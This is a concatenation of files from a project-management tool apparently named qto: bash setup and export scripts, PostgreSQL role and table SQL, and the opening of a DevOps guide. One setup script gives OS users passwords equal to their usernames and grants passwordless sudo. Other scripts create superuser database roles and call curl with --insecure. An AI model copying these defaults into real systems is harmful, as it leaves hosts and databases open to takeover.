formats. ### 10.3. Documentation and code base synchronization Each running instance has it's required documentation set up-to-date. No undocumented or hidden features are allowed. Should any be missing or misreported a new issue must be created to correct those with top priority. <file_sep>doSetupPyVEnv(){ which pip3 2>/dev/null || { if [[ "$OSTYPE" == "darwin"* ]]; then brew install python3; brew postinstall python3 ; fi if [ "$(grep -Ei 'debian|ubuntu|mint' /etc/*release)" ]; then sudo apt update; sudo apt install -y python3-pip python3-venv; fi which pip3 2>/dev/null || { echo >&2 "The pip3 binary is missing ! Install it manually ! Aborting ..."; exit 1; } } pip3 install virtualenv ; python3 -m venv ./venv pip3 install -r $PRODUCT_DIR/cnf/bin/python/requirements.txt sleep 1 ; do_flush_screen installed_python_modules=$(cat $PRODUCT_DIR/cnf/python/requirements.txt) cat << EOF attempted to install the following python modules: $installed_python_modules listed in the following file: $PRODUCT_DIR/cnf/bin/python/requirements.txt # to activate the virtual environment cd $PRODUCT_DIR source ./venv/bin/activate # you MIGHT have to pip3 install -r $PRODUCT_DIR/cnf/bin/python/requirements.txt # to exit the venv, run the following cmd: deactivate EOF } <file_sep>-- run as the postgres user -- \c postgres CREATE USER usrqtoadmin WITH SUPERUSER CREATEROLE CREATEDB REPLICATION BYPASSRLS PASSWORD '<PASSWORD>'; -- alias psql="PGPASSWORD=${postgres_sys_usr_admin_pw:-} psql -v -q -t -X -w -U ${postgres_sys_usr_admin:-}" -- psql -d dev_qto < src/sql/pgsql/list-table-priviledges.sql | less -- \c dev_qto ALTER ROLE usrqtoapp WITH PASSWORD '<PASSWORD>' LOGIN ; GRANT SELECT ON ALL TABLES IN SCHEMA PUBLIC TO usrqtoapp; GRANT ALL PRIVILEGES ON ALL TABLES IN SCHEMA public TO usrqtoapp; GRANT ALL PRIVILEGES ON ALL SEQUENCES IN SCHEMA public TO usrqtoapp; SELECT rolname, rolsuper, rolinherit, rolcreaterole, rolcreatedb, rolcanlogin, rolreplication, rolconnlimit FROM pg_app_roles WHERE 1=1 AND rolname='usrqtoapp' ; /* GRANT ALL PRIVILEGES ON DATABASE dev_qto TO usrqtoapp ; GRANT SELECT, INSERT, UPDATE, DELETE , TRIGGER ON ALL TABLES IN SCHEMA public TO usrqtoapp ; GRANT SELECT ON ALL TABLES IN SCHEMA pg_catalog TO usrqtoapp; GRANT SELECT ON TABLE pg_attribute TO usrqtoapp ; GRANT SELECT ON TABLE pg_class TO usrqtoapp; GRANT SELECT ON TABLE pg_index TO usrqtoapp; GRANT SELECT ON TABLE pg_description TO usrqtoapp ; GRANT SELECT ON TABLE pg_attrdef TO usrqtoapp ; */ <file_sep>#!/usr/bin/env bash #v0.2.0 #------------------------------------------------------------------------------ # removes all the files from a deployed qto instance #------------------------------------------------------------------------------ doTestRemovePackage(){ doRemovePackageFiles #remove the dirs as well for dir in `cat "$include_file"`; do ( dir="$PRODUCT_DIR/$dir" test -d "$dir" && cmd="rm -fRv $dir" && doRunCmdAndLog "$cmd" ); done cmd="rm -fv $include_file" && \ doRunCmdAndLog "$cmd" echo "rm -fvr $PRODUCT_DIR">>"$product_dir/remove-""$environment_name".sh echo "rm -fv $product_dir/remove-""$environment_name".sh>>"$product_dir/remove-""$environment_name".sh nohup bash "$product_dir/remove-""$environment_name".sh & } #eof test doRemovePackage <file_sep>#!/bin/bash do_setup_db_roles(){ test -z "${PROJ_INSTANCE_DIR-}" && export PROJ_INSTANCE_DIR="$PRODUCT_DIR" test -z ${PROJ_CONF_FILE:-} && export PROJ_CONF_FILE="$PROJ_INSTANCE_DIR/cnf/env/$ENV.env.json" do_export_json_section_vars $PROJ_CONF_FILE '.env.db' do_log "INFO using PROJ_INSTANCE_DIR: $PROJ_INSTANCE_DIR" ; do_log "INFO using PROJ_CONF_FILE: $PROJ_CONF_FILE" echo 'export PS1="`date "+%F %T"` \u@\h \w \\n\\n "' | sudo tee -a /var/lib/postgresql/.bashrc sudo -u root echo "postgres:$postgres_rdbms_usr_pw" | sudo chpasswd expect <<- EOF_EXPECT set timeout -1 spawn sudo -u postgres psql --port $postgres_rdbms_port -c "\\\password" expect "Enter new password: " send -- "$postgres_usr_pw\r" expect "Enter it again: " send -- "$postgres_usr_pw\r" expect eof EOF_EXPECT cd /tmp ; sudo -u postgres PGPASSWORD=$postgres_<PASSWORD> psql --port $postgres_rdbms_port -d postgres --host $postgres_rdbms_host -c " DO \$\$DECLARE r record; BEGIN IF NOT EXISTS ( SELECT FROM pg_catalog.pg_roles WHERE rolname = '"$postgres_sys_usr_admin"') THEN CREATE ROLE "$postgres_sys_usr_admin" WITH SUPERUSER CREATEROLE CREATEDB REPLICATION BYPASSRLS PASSWORD '"$postgres_<PASSWORD>usr_<PASSWORD>"' LOGIN ; END IF; END\$\$; ALTER ROLE "$postgres_sys_usr_admin" WITH SUPERUSER CREATEROLE CREATEDB REPLICATION BYPASSRLS PASSWORD '"$postgres_sys_usr_admin_pw"' LOGIN ; " sudo -u postgres PGPASSWORD=$postgres_usr_pw psql --port $postgres_rdbms_port --host $postgres_rdbms_host -c " grant all privileges on database postgres to $postgres_sys_usr_admin" ; cd - } <file_sep>#!/usr/bin/env bash run_unit_bash_dir=$(perl -e 'use File::Basename; use Cwd "abs_path"; print dirname(abs_path(@ARGV[0]));' -- "$0") # -- start add the qto admin user sudo groupadd -g "10001" "grpqtoadmin" sudo cat /etc/group | grep --color "grpqtoadmin" sudo useradd --uid "10001" --home-dir "/home/usrqtoadmin" --gid "10001" \ --create-home --shell /bin/bash "usrqtoadmin" echo "usrqtoadmin:usrqtoadmin" | chpasswd # obs !! dummy password <PASSWORD> sudo cat /etc/passwd | grep --color "usrqtoadmin" echo "usrqtoadmin ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers echo 'export PS1="`date "+%F %T"` \u@\h \w \\n\\n "' >> /home/usrqtoadmin/.bashrc cat lib/bash/funcs/parse-cnf-env-vars.sh >> /home/usrqtoadmin/.bashrc cat $(find cnf -name .vimrc|head -n 1) > /home/usrqtoadmin/.vimrc mkdir -p /home/usrqtoadmin/opt # -- start add the qto app user sudo groupadd -g "10002" "grpqtoapp" sudo cat /etc/group | grep --color "grpqtoapp" sudo useradd --uid "10002" --home-dir "/home/usrqtoapp" --gid "10002" \ --create-home --shell /bin/bash "usrqtoapp" echo "usrqtoapp:usrqtoapp" | chpasswd echo 'export PS1="`date "+%F %T"` \u@\h \w \\n\\n "' >> /home/usrqtoapp/.bashrc cat lib/bash/funcs/parse-cnf-env-vars.sh >> /home/usrqtoapp/.bashrc cat $(find cnf -name .vimrc | head -n 1) > /home/usrqtoapp/.vimrc <file_sep># --------------------------------------------------------- # create a new <<env-type>> from this product instance # bash src/bash/qto/qto.sh -a cp-to-env=dev -f met/.dev.qto # bash src/bash/qto/qto.sh -a cp-to-env=tst -f src/bash/qto/qto.sh # bash src/bash/qto/qto.sh -a cp-to-env=prd -f met/.dev.qto # --------------------------------------------------------- doCpToEnv(){ tgt_env="${1:-}" prefix='cp-to-env=' tgt_env=${tgt_env#$prefix} tgt_environment_name=$(echo $environment_name | perl -ne "s/$ENV/$tgt_env/g;print") tgt_PRODUCT_DIR=$product_dir/$tgt_environment_name # do ALWAYS open the met/<<current-env>> when calling this func !!! for env in `echo dev tst prd`; do cp -v met/.$ENV.qto met/.$env.qto ; done ; for env in `echo dev tst prd`; do cp -v met/.$ENV.qto $tgt_PRODUCT_DIR/met/.$env.qto ; done ; test "$tgt_env" == "$ENV" && return relative_fpath=$(dirname "${file}") tgt_file=$tgt_PRODUCT_DIR/$file mkdir -p $(dirname $tgt_file) test -f $file && cp -v $file $tgt_file test -d $tgt_file && rm -rv $tgt_file test -d $file && rsync -v -X -r -E -o -g --perms --acls $file $(dirname $tgt_file) # copy the current site instance configuration file to the secret store as well ... mkdir -p ~/.qto/cnf ; cp -v cnf/env/$ENV.env.json ~/.qto/cnf/ } <file_sep># grab the list of cols straight from bash export src_db='dev_qto' export tgt_db='prd_phz' export table_to_copy='app_item_attributes' psql -d "$src_db" -t -c \ "SELECT column_name FROM information_schema.columns WHERE 1=1 AND table_name='"$table_to_copy"'" # ^^^ filter autogenerated cols if needed psql -h $postgres_rdbms_host -p $postgres_rdbms_port -d "$src_db" -c \ "copy ( SELECT guid, id, prio, table_name, name, description, skip_in_list, width, readonly, update_time FROM table_to_copy) TO STDOUT" |\ psql -d "$tgt_db" -c "copy $table_to_copy (guid, id, prio, table_name, name, description, skip_in_list, width, readonly, update_time) FROM STDIN" <file_sep>CREATE OR REPLACE FUNCTION fnc_concat_ws(text, VARIADIC text[]) RETURNS text LANGUAGE sql IMMUTABLE AS 'SELECT array_to_string($2, $1)'; SELECT 'fnc_concat_ws exists is ' || exists(SELECT * FROM pg_proc WHERE proname = 'fnc_concat_ws')<file_sep>place here any libraries you want to distribute with your qto ... <file_sep>-- DROP TABLE IF EXISTS test_hi_delete_table_doc CASCADE; SELECT 'delete the "test_hi_delete_table_doc" table' as "---" ; -- src: http://mikehillyer.com/articles/managing-hierarchical-data-in-mysql/ -- src: https://github.com/werc/TreeTraversal CREATE TABLE test_hi_delete_table_doc ( guid UUID NOT NULL DEFAULT gen_random_uuid() , id bigint UNIQUE NOT NULL DEFAULT cast (to_char(current_timestamp, 'YYMMDDHH12MISSMS') as bigint) , level integer NOT NULL DEFAULT 1 , seq integer NOT NULL DEFAULT 1 , lft integer NOT NULL DEFAULT 1 , rgt integer NOT NULL DEFAULT 2 , name varchar (200) NOT NULL DEFAULT 'name...' , description varchar (4000) NULL , formats varchar (200) NULL , src varchar (4000) NULL , CONSTRAINT pk_test_hi_delete_table_doc_guid PRIMARY KEY (guid) ) WITH ( OIDS=FALSE ); -- STOP delete table test_hi_delete_table_doc -- -------------------------------------------------------- -- INSERT INTO test_hi_delete_table_doc ( id,level,seq,lft,rgt,name) -- values ( 0,0,1,1,2,'test_hi_delete_table_doc'); SELECT 'Display the columns of the just deleted table' as "---" ; SELECT attrelid::regclass, attnum, attname FROM pg_attribute WHERE attrelid = 'public.test_hi_delete_table_doc'::regclass AND attnum > 0 AND NOT attisdropped ORDER BY attnum ; <file_sep># file: src/bash/qto/funcs/generate-pdf-docs.func.sh doGeneratePdfDocs(){ test -z "${PROJ_INSTANCE_DIR-}" && PROJ_INSTANCE_DIR="$PRODUCT_DIR" test -z "${docs_root_dir-}" && docs_root_dir="$PROJ_INSTANCE_DIR" test -z ${PROJ_CONF_FILE-} && PROJ_CONF_FILE=$PROJ_INSTANCE_DIR/cnf/env/$ENV.env.json do_export_json_section_vars $PROJ_CONF_FILE '.env.app' # <<web-host>>:<<web-port>>/<<db>>/select/export_files?as=grid&od=id basic_url="$ht_protocol://${web_host:-}:${port:-}/${postgres_app_db:-}" furl="$basic_url"'/select/export_files?as=grid&od=id&pg-size=20' echo "running: curl --cookie ~/.qto/cookies.txt --insecure -s $furl \| jq -r '.dat[]|.url'" curl --cookie ~/.qto/cookies.txt --insecure -s $furl | jq -r '.dat[]|.url' ret=$? test $ret != "0" && do_exit $ret "failed to get data from the $furl" while read -r url ; do file_name=$(curl --cookie ~/.qto/cookies.txt --insecure -s $furl | jq -r '.dat[]| select(.url=='\"$url\"')| .name'); file_name="$file_name.pdf" rel_path=$(curl --cookie ~/.qto/cookies.txt --insecure -s $furl | jq -r '.dat[]| select(.url=='\"$url\"')| .path'); [ "${rel_path-}" == "null" ] && rel_path="doc" rel_path="$rel_path/pdf" mkdir -p $docs_root_dir/$rel_path file_path=$(echo $docs_root_dir/$rel_path/$file_name|perl -ne 's|[/]{2,5}|/|g;print') url="$url"'?as=print-doc' echo -e "\nrunning: chrome --headless --disable-gpu --print-to-pdf=$file_path $basic_url/view/$url" chrome --headless --disable-gpu --print-to-pdf=$file_path $basic_url/view/$url lines=$(wc -l "$file_path"|awk '{print $1;}') [[ $lines -eq 0 ]] && do_exit 0 "load the $url !!! the table is empty !!!" echo -e "$lines lines in the $file_path file \n" done < <(curl --cookie ~/.qto/cookies.txt --insecure -s $furl | jq -r '.dat[]|.url') do_flush_screen } <file_sep># v1.2.9 #------------------------------------------------------------------------------ # scan all the "defined" actions and generate the # spec , func , test , doc files if the do not exist #------------------------------------------------------------------------------ doGenerateActionFiles(){ do_log "DEBUG START : doGenerateActionFiles" # for each defined action while read -r act ; do ( do_log "DEBUG START :: checking action: $act" # for each defined action while read -d" " deliverable_type ; do ( do_log "DEBUG START ::: action: $act - deliverable_type: $deliverable_type " # src: https://gist.github.com/tyru/358703 func_part_name=$(echo $act|perl -ne 's{(\w+)}{($a=lc $1)=~s<(^[a-z]|-[a-z])><($b=uc$1);$b;>eg;$a;}eg;s|-||g;print') do_log "DEBUG func_part_name: $func_part_name" # foreach deliverable_type build the code and doc files case $deliverable_type in 'spec') # full_func="doSpec""$func_part_name" deliverable_doc_file="doc/txt/$RUN_UNIT/specs/$act.spec.txt" deliverable_code_file="src/bash/$RUN_UNIT/specs/$act.spec.sh" ;; 'func') full_func="do""$func_part_name" deliverable_doc_file="doc/txt/$RUN_UNIT/funcs/$act.func.txt" deliverable_code_file="src/bash/$RUN_UNIT/funcs/$act.func.sh" ;; 'test') full_func="doTest""$func_part_name" deliverable_doc_file="doc/txt/$RUN_UNIT/tests/$act.test.txt" deliverable_code_file="src/bash/$RUN_UNIT/tests/$act.test.sh" ;; 'help') full_func="doHelp""$func_part_name" deliverable_doc_file="doc/txt/$RUN_UNIT/helps/$act.help.txt" deliverable_code_file="src/bash/$RUN_UNIT/helps/$act.help.sh" ;; esac do_log " DEBUG full_func: $full_func" do_log " INFO delvr_doc_file: $deliverable_doc_file" do_log " INFO delvr_code_file: $deliverable_code_file" do_log " DEBUG STOP ::: action: $act - deliverable_type: $deliverable_type " # if the delivable file does not exist create it code_file_exists=$(find "src/bash/$RUN_UNIT/$deliverable_type""s" | grep $act.$deliverable_type.sh| wc -l) if [ $code_file_exists -eq 0 ];then cp -v src/bash/$RUN_UNIT/funcs/%act%.%deliverable_type%.sh "$deliverable_code_file" perl -pi -e "s|%full_func%|$full_func|g" "$deliverable_code_file" perl -pi -e "s|%act%|$act|g" "$deliverable_code_file" perl -pi -e "s|%deliverable_type%|$deliverable_type|g" "$deliverable_code_file" fi doc_file_exists=$(find "doc/txt/$RUN_UNIT/$deliverable_type""s" | grep $act.$deliverable_type.txt| wc -l) if [ $doc_file_exists -eq 0 ];then cp -v doc/txt/$RUN_UNIT/tmpl/%act%.%deliverable_type%.txt "$deliverable_doc_file" perl -pi -e "s|%full_func%|$full_func|g" "$deliverable_doc_file" perl -pi -e "s|%act%|$act|g" "$deliverable_doc_file" perl -pi -e "s|%deliverable_type%|$deliverable_type|g" "$deliverable_doc_file" fi ); done< <(echo 'spec' 'func' 'test' 'help' 'none') echo -e "generated the following files: \n" ; find . | grep -i $act |cut -c 3-|sort -nr find . | grep -i $act |cut -c 3-|sort -nr >> met/.$ENV.$RUN_UNIT echo -e "\n\n" do_log "DEBUG STOP :: checking action: $act" ); done< <(cat "src/bash/$RUN_UNIT/tests/new-$RUN_UNIT-tests.lst") clear ; for env in `echo dev tst prd src`; do cp -v met/.$ENV.$RUN_UNIT met/.$env.$RUN_UNIT ; done do_log "DEBUG STOP : doGenerateActionFiles" } #eof func doGenerateActionFiles <file_sep># src/bash/qto/funcs/print-help.help.sh # v1.0.9 # --------------------------------------------------------- # todo: add doHelpPrintHelp comments ... # --------------------------------------------------------- doHelpPrintHelp(){ do_log "DEBUG START doHelpPrintHelp" cat doc/txt/qto/helps/print-help.help.txt sleep 2 # add your action implementation code here ... do_log "DEBUG STOP doHelpPrintHelp" } # eof func doHelpPrintHelp # eof file: src/bash/qto/funcs/print-help.help.sh <file_sep># QTO DEVOPS GUIDE * [1. INTRODUCTION](#1-introduction) * [2. GUIDING PRINCIPLE'S](#2-guiding-principle's) * [2.1. USE COMMON SENSE](#21-use-common-sense) * [2.2. PERSONAL RESPONSIBILITY](#22-personal-responsibility) * [2.3. ATTEMPT FOR 100% TEST COVERAGE TO ACHIEVE RELIABILITY](#23-attempt-for-100%-test-coverage-to-achieve-reliability) * [2.4. IT SHOULD JUST WORK](#24-it-should-just-work) * [2.5. NAMING CONVENTIONS](#25-naming-conventions) * [2.6. BE FRIENDLY TO ALL](#26-be-friendly-to-all) * [2.7. AIM FOR SIMPLICITY](#27-aim-for-simplicity) * [2.8. DO NOT ALLOW BROKEN WINDOWS](#28-do-not-allow-broken-windows) * [2.9. DO NOT ADD A COMMIT WITHOUT PASSING ALL THE REGRESSION TESTS](#29-do-not-add-a-commit-without-passing-all-the-regression-tests) * [3. WAY OF WORKING AND PROCESSES IN THE QTO PROGRAM](#3-way-of-working-and-processes-in-the-qto-program) * [3.1. VERBAL COMMUNICATION, PHONE & VIDEO CONFERENCING](#31-verbal-communication-phone-&-video-conferencing) * [3.2. CHAT / IRC](#32-chat-/-irc) * [3.3. DEFINITION OF DONE](#33-definition-of-done) * [3.4. E-MAIL COMMUNICATION](#34-e-mail-communication) * [3.5. CONTINUOUS IMPROVEMENT BY ISSUES MANAGEMENT](#35-continuous-improvement-by-issues-management) * [4. ETL OPERATIONS](#4-etl-operations) * [4.1. DB DATA BACKUP AND RESTORE](#41-db-data-backup-and-restore) * [4.2. RUN INCREASE-DATE ACTION](#42-run-increase-date-action) * [4.3. LOAD XLS ISSUES TO DB AND FROM DB](#43-load-xls-issues-to-db-and-from-db) * [4.4. DIRS NAMING CONVENTIONS](#44-dirs-naming-conventions) * [5. NAMING CONVENTIONS](#5-naming-conventions) * [5.1. PRODUCT INSTANCE DIRECTORIES](#51-product-instance-directories) * [5.2. ROOT DIRS NAMING CONVENTIONS](#52-root-dirs-naming-conventions) * [5.3. DABASE NAMING CONVENTIONS](#53-dabase-naming-conventions) * [6. SOURCE CODE MANAGEMENT](#6-source-code-management) * [6.1. CONFIGURE AND USE GIT ALWAYS BY USING SSH IDENTITIES](#61-configure-and-use-git-always-by-using-ssh-identities) * [6.2. AIM FOR TRACEABILITY BETWEEN USER-STORIES, REQUIREMENTS, FEATURES AND FUNCTIONALITIES](#62-aim-for-traceability-between-user-stories-requirements-features-and-functionalities) * [6.3. ZERO TOLERANCE FOR BUGS, ESPECIALLY CRASHES](#63-zero-tolerance-for-bugs-especially-crashes) * [6.4. ALWAYS START WITH A TEST UNIT CREATION](#64-always-start-with-a-test-unit-creation) * [6.5. BRANCH FOR THE CURRENT COMMON RELEASABLE BRANCH - FOR EXAMPLE V0.8.4](#65-branch-for-the-current-common-releasable-branch--for-example-v084) * [6.6. SYNCING CHANGES WITH THE ORIGINAL REPO](#66-syncing-changes-with-the-original-repo) * [6.7. INTEGRATION TESTING IN THE TST BRANCH](#67-integration-testing-in-the-tst-branch) * [6.8. PRODUCTION IN THE PRD BRANCH](#68-production-in-the-prd-branch) * [6.9. DEPLOYMENT TO THE CLOUD](#69-deployment-to-the-cloud) * [6.10. MASTER BRANCH - THE SINGLE TRUTH FOR CURRENT STABLE VERSION OF THE SOFTWARE](#610-master-branch--the-single-truth-for-current-stable-version-of-the-software) * [7. SOURCE CODE STYLING](#7-source-code-styling) * [7.1. SPACES AND NOT TABS](#71-spaces-and-not-tabs) * [7.2. PERL SOURCE CODE STYLING](#72-perl-source-code-styling) * [7.2.1. Spacing after variable asignments](#721-spacing-after-variable-asignments) * [7.2.2. Set 3 spaces for a tab](#722-set-3-spaces-for-a-tab) * [7.2.3. Empty lines](#723-empty-lines) * [8. TESTING](#8-testing) * [8.1. RUNNING UNIT TESTS](#81-running-unit-tests) * [8.2. CHECKING THE PERL SYNTAX](#82-checking-the-perl-syntax) * [8.3. RUNNING FUNCTIONAL TESTS](#83-running-functional-tests) * [8.4. RUNNING INTEGRATION TESTS](#84-running-integration-tests) * [8.5. USER-STORY CREATION](#85-user-story-creation) * [9. FEATURE IMPLEMENTATION WORKFLOW](#9-feature-implementation-workflow) * [9.1. PROBLEM REGISTRATION](#91-problem-registration) * [9.2. REQUIREMENTS CREATION](#92-requirements-creation) * [9.3. ISSUE CREATION](#93-issue-creation) * [9.4. FEATURE BRANCH CREATION](#94-feature-branch-creation) * [9.5. CREATE A TEST-ENTRY POINT](#95-create-a-test-entry-point) * [9.6. IMPLEMENTATION OF PROOF OF CONCEPT ( OPTIONAL )](#96-implementation-of-proof-of-concept-(-optional-)) * [9.7. PROTOTYPE IMPLEMENTATION ( OPTIONAL )](#97-prototype-implementation-(-optional-)) * [9.8. UNIT AND / OR INTEGRATION TEST CREATION](#98-unit-and-/-or-integration-test-creation) * [9.9. IMPLEMENTATION ](#99-implementation-) * [9.10. DEPLOYMENT AND TEST TO THE TEST ENVIRONMENT](#910-deployment-and-test-to-the-test-environment) * [9.11. DEPLOYMENT AND TEST TO THE PRODUCTION ENVIRONMENT](#911-deployment-and-test-to-the-production-environment) * [9.12. QUALITY ASSURANCE ITERATION](#912-quality-assurance-iteration) * [9.13. DOD CHECK-LIST WALKTHROUGH](#913-dod-check-list-walkthrough) * [9.14. THE FEATURE OR FUNCTIONALITY CURRENT DESCRIPTION IS ADDED IN THE DOCS](#914-the-feature-or-functionality-current-description-is-added-in-the-docs) * [9.14.1. Regenerate the md docs](#9141-regenerate-the-md-docs) * [9.14.2. Regenerate the pdf docs](#9142-regenerate-the-pdf-docs) * [9.14.3. Regenerate the msft docs](#9143-regenerate-the-msft-docs) * [9.15. THE RELATED REQUIREMENT IS ADDED IN THE REQUIREMENTS DOCUMENT](#915-the-related-requirement-is-added-in-the-requirements-document) * [9.16. AT LEAST 2 TIMES PASSED FUNCTIONAL AND JS TESTS RUN ](#916-at-least-2-times-passed-functional-and-js-tests-run-) * [9.17. AT LEAST 2 TIMES PASSED INTEGRATION TESTS IN EACH ENVIRONMENT INSTANCE](#917-at-least-2-times-passed-integration-tests-in-each-environment-instance) * [9.18. DEPLOYMENT TO THE TEST ENVIRONMENT](#918-deployment-to-the-test-environment) * [9.19. CHECK THAT ALL THE FILES IN THE DEPLOYMENT PACKAGE ARE THE SAME AS THOSE IN THE LATEST COMMIT OF THE DEV GIT BRANCH. ](#919-check-that-all-the-files-in-the-deployment-package-are-the-same-as-those-in-the-latest-commit-of-the-dev-git-branch-) * [9.20. RESTART THE APPLICATION LAYER](#920-restart-the-application-layer) * [10. DEVBOX SETUP ( OPTIONAL )](#10-devbox-setup-(-optional-)) * [10.1. THE TMUX TERMINAL MULTIPLEXER](#101-the-tmux-terminal-multiplexer) * [10.2. THE VIM IDE](#102-the-vim-ide) * [11. DEBUGGING](#11-debugging) * [11.1. ENABLE DEBUGGING IN MOJOLICIOUS](#111-enable-debugging-in-mojolicious) * [11.2. ENABLE DEBUGGING IN DBI](#112-enable-debugging-in-dbi) * [11.3. DEBUGGING IN THE UI](#113-debugging-in-the-ui) * [11.4. DEBUGGING CSS](#114-debugging-css) * [12. SECURITY](#12-security) * [12.1. AUTHENTICATION](#121-authentication) * [12.1.1. JWT based native authentication](#1211-jwt-based-native-authentication) * [12.1.2. Session based native authentication](#1212-session-based-native-authentication) * [12.1.3. RBAC based native authentication](#1213-rbac-based-native-authentication) * [12.2. AUTHORISATION](#122-authorisation) * [12.2.1. Generic role-based access control list based authorisation](#1221-generic-role-based-access-control-list-based-authorisation) * [13. KNOWN ISSUES AND WORKAROUNDS](#13-known-issues-and-workarounds) * [13.1. THE RBAC BASED NATIVE AUTHORISATION](#131-the-rbac-based-native-authorisation) * [13.2. ALL TESTS FAIL WITH THE 302 ERROR](#132-all-tests-fail-with-the-302-error) * [13.3. MORBO IS STUCK](#133-morbo-is-stuck) * [13.3.1. Probable root cause](#1331-probable-root-cause) * [13.3.2. Kill processes](#1332-kill-processes) * [13.3.3. Problem description](#1333-problem-description) * [13.4. THE PAGE LOOKS BROKEN - PROBABLY THE NEW CSS IS NOT RE-LOADED](#134-the-page-looks-broken--probably-the-new-css-is-not-reloaded) * [13.5. THE VUE UI DOES NOT UPDATE PROPERLY ](#135-the-vue-ui-does-not-update-properly-) * [13.6. NGINX FAILS WITH 502 BAD GATEWAY ERROR AND PROBABLY CRASHES THE SITE](#136-nginx-fails-with-502-bad-gateway-error-and-probably-crashes-the-site) * [13.7. WHY HAVING ALL THE HASSLE WITH THIS DIRECTORY STRUCTURE - IS OVERKILL ?!!](#137-why-having-all-the-hassle-with-this-directory-structure--is-overkill-) * [13.8. THE NEW ENTRIES IN DROPBOX FK TABLES CANNOT BE SEEN](#138-the-new-entries-in-dropbox-fk-tables-cannot-be-seen) * [14. FAQ](#14-faq) ## 1. INTRODUCTION ## 2. GUIDING PRINCIPLE'S This section might seem too philosophical for a start, yet all the development in the qto has ATTEMPTED to follow the principles described below. If you skip this section now you might later on wander many times why something works and it is implemented as it is ... and not "the right way". Of course you are free to not follow these principles, the less you follow them the smaller the possibility to pull features from your instance(s) - you could even use the existing functionality to create a totally different fork with different name and start developing your own toll with name X - the authors give you the means to do that with this tool ... , but if you want to use and contribute to THIS tool than you better help defined those leading principles and follow them. ### 2.1. Use common sense Use common sense when applying all those principles. Of course they are not engraved in stone and you should be flexible enough for the actual situation, problem, issue etc. ### 2.2. Personal responsibility Any given instance of the qto should have ONE and only ONE person which is responsible at the end for the functioning of THE instance - so think carefully before attempting to take ownership of an instance. The author(s) of the code are not responsible for the operation, bugs or whatever happens to a new instance. As a responsible owner of an instance you could create, share and assign issues to the authors of the source code, yet there is no Service Level Agreement, only openly stated attempt to assist when possible. Qto is design to make version updates fully vertically integrated and as automated as possible, yet YOU will be responsible for increasing the versions, taking backups, applying database migrations and so on ... ### 2.3. Attempt for 100% test coverage to achieve reliability The more you increase your test coverage the greater the confidence that the code will work as expected. Do not write a single function without first implementing the testing call for that function - this has been proven really, really difficult, yet the more features are added the less the time wasted in troubleshooting of bugs and unexpected behaviour when proper testing is implemented. Testing ensures the consistency and future expandability of the functionalities. Our velocity increases with the WORKING features and functionalities added over time. ANYTHING, which is not working, or not even sure about how it should be working MUST be [fixed](fixed/deleted.) ### 2.4. It should just work Any instance of the QTO should simply work as promised - no less, no more. Any instance is the combination of code, configurations, binaries in the System and data - that is the instance you are using should just work for the set of functionalities promised. ### 2.5. Naming conventions All the names used in the code and the configurations MUST BE human readable and expandable - that is name the objects from the greater realm to the smaller - for example &lt;&lt;env&gt;&gt;_&lt;&lt;db_name&gt;&gt; , because the concept of operational IT environments ( dev , test , qas , prd ) is broader than the concept of a application databases . Before you start a new concept for example code for a new run-time spent some time first for some initial planning: - how many objects are there going to be after 10 years !! - how about searching through those objects - how easy will it be - are you naming data, configuration, binary or source code objects ? ### 2.6. Be friendly to all Especially to technical personnel, as you cannot achieve user-friendliness for the end-users unless your developers and technical personnel are happy while interacting with your artefacts. ### 2.7. Aim for simplicity Things should be as simple as possible, but not simpler - if Einstein said it it makes sense - having lost so much time in endless loops of IT complexity - the older we get the more it gets more rational. ### 2.8. Do not allow broken windows A broken windows is any peace of code or documentation, which is hanging around not included in the integration tests suite and not matching the most up-to-date standards for work deliverables. Either bring it up to the standard level or get rid of it. As soon as you find a bug, write a test for it, if you can't create the needed testing setup invest in time developing the needed skills. ### 2.9. Do not add a commit without passing ALL the regression tests Even in your personal branch. Really. Because after the application has surpassed the mark of having 200 000 lines of code the complexity added to a "broken machine" WILL NOT justify the breaking of an existing feature. If you do not consider the feature / functionality tested as important than feel free to REMOVE it ( both implementations AND tests ) in that very same commit. ## 3. WAY OF WORKING AND PROCESSES IN THE QTO PROGRAM A project represents a single, focused endeavour, whereas a program might be even a collection of projects, with ongoing activities and not a clear, definite, SINGLE outcome. Qto is more of a program with not strictly defined end-product and less of a project, so whenever you see the "qto project" think more for a "definite milestone of the qto program". This section describes the way of working within a team working on the qto program. The work on the qto project is conducted by using the Scrum methodology, thus the Scrum ### 3.1. Verbal communication, phone & video conferencing Time is money. Let's assume that a meeting of 7 IT Consultants charging 100 $ per hour should have meeting for 1.5 hours - that is an investment from the paying organisation point of view for 1050 $. Let's assume that 2 guys are late 5min, 1 guy 10min and during that time 1 guy tells about the wonderful trip he had during the weekend and the latest sport events ... so the meetings ACTUALLY starts after the first 20 min ( about 1/3 of the investment is lost already). ### 3.2. Chat / IRC Should you want a quicker respond than 2 hours use a chat tool. Do not expect people to answer you straight away, it takes 5 to 20 min to reach the most productive flow state, thus not answering your question might be the more productive option from the point of view of the organisation. ### 3.3. Definition of Done Each issue must have a tangible artifact. An issue without tangible artifact is a thought thrown in the air. The DoD must be iterated and updated during each Sprint Review. ### 3.4. E-mail communication Do not use e-mail communication for code style, testing, developing etc. Issues which could be achieved with the code review interface of the source code management system. Before writing an e-mail think first could you find a way to avoid writing it at all. Do not expect answer of your e-mail within 2 hours. Use e-mail when you have to get an written evidence on agreed matters, which might cause later on discussions. ### 3.5. Continuous improvement by issues management At the end of the month you should move the completed issues to the yearly_issues table as follows: ## 4. ETL OPERATIONS ### 4.1. Db data backup and restore Check maintenance_guide_doc-23 ### 4.2. Run increase-date action You track the issues of your projects by storing them into xls files in "daily" proj_txt dirs. Each time the day changes by running the increase-date action you will be able to clone the data of the previous date and start working on the current date. bash src/bash/qto/qto.sh -a increase-date ### 4.3. Load xls issues to db and from db To load xls issues to db run the following one-liner: bash src/bash/qto/qto.sh -a xls-to-db ### 4.4. Dirs naming conventions The dir structure should be logical and a person navigating to a dir should almost understand what is to be find in there by its name. ## 5. NAMING CONVENTIONS ### 5.1. Product instance directories ### 5.2. Root Dirs naming conventions The root dirs and named as follows: bin - contains the produced binaries for the project cnf - for the configuration dat - for the data of the app lib - for any external libraries used src - for the source code of the actual projects and subprojects ### 5.3. Dabase naming conventions Each database must start with its environment prefix - dev, tst or prd. And yes this is so fundamentally in-built into QTO that changing this naming convention will definitely destroy your application. ## 6. SOURCE CODE MANAGEMENT The QTO is a derivative of the wrapp tool - this means that development and deployment process must be integrated into a single pipeline. ### 6.1. Configure and use git ALWAYS by using ssh identities 